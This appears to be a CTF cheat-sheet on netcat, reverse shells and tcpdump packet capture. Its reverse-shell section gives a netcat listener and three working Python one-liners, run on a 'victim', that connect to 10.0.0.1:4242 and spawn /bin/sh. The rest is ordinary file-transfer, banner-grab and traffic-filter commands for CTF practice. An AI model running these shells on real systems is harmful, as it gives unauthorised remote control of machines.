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listen

All the related netcat and listener things related to CTFs.

Netdiscover

Listen to arp (address resolution protocol) things.

Netcat

• Pushing a file to a client: nc -w3 [ip addr] [port] < file
• Receiving a file: nc -l -p [port] > outfile
• Grab a banner using netcat: echo "" | nc -v -n -w1 [target ip] [port]
nc -nvv -> very verbose

Setting up reverse shell

Resources:
github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

First, set up netcat:
nc -u -lvp 4242

On the victim, can run:
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Listen to things

• Capture any packet: sudo tcpdump -i any -w output.pcap
- Then analyze: wireshark output.pcap
• Only listen to HTTP (port 80) traffic: sudo tcpdump -i any port 80 -w /path/to/outputfile.pcap
• Capture certain num of packets on interface eth0: sudo tcpdump -c 10 -i eth0
• filter by source: sudo tcpdump src 10.0.0.1
• filter by destination: sudo tcpdump dst 10.0.0.1
• filter by protocol: sudo tcpdump icmp
• filter by source port: sudo tcpdump src port 80
• filter by dst port: sudo tcpdump dst port 80
• capture with specific flags: sudo tcpdump 'tcp[13] & (tcp-syn|tcp-ack) != 0'
• capture with certain length: sudo tcpdump 'len > 0'
• dns traffic (port 53): sudo tcpdump port 53
• capture without resolving hostnames: sudo tcpdump -n
• capture of a large length: sudo tcpdump 'len > 100'
• filter by network: sudo tcpdump net 192.168.1.0/24
• increase verbosity: sudo tcpdump -vvv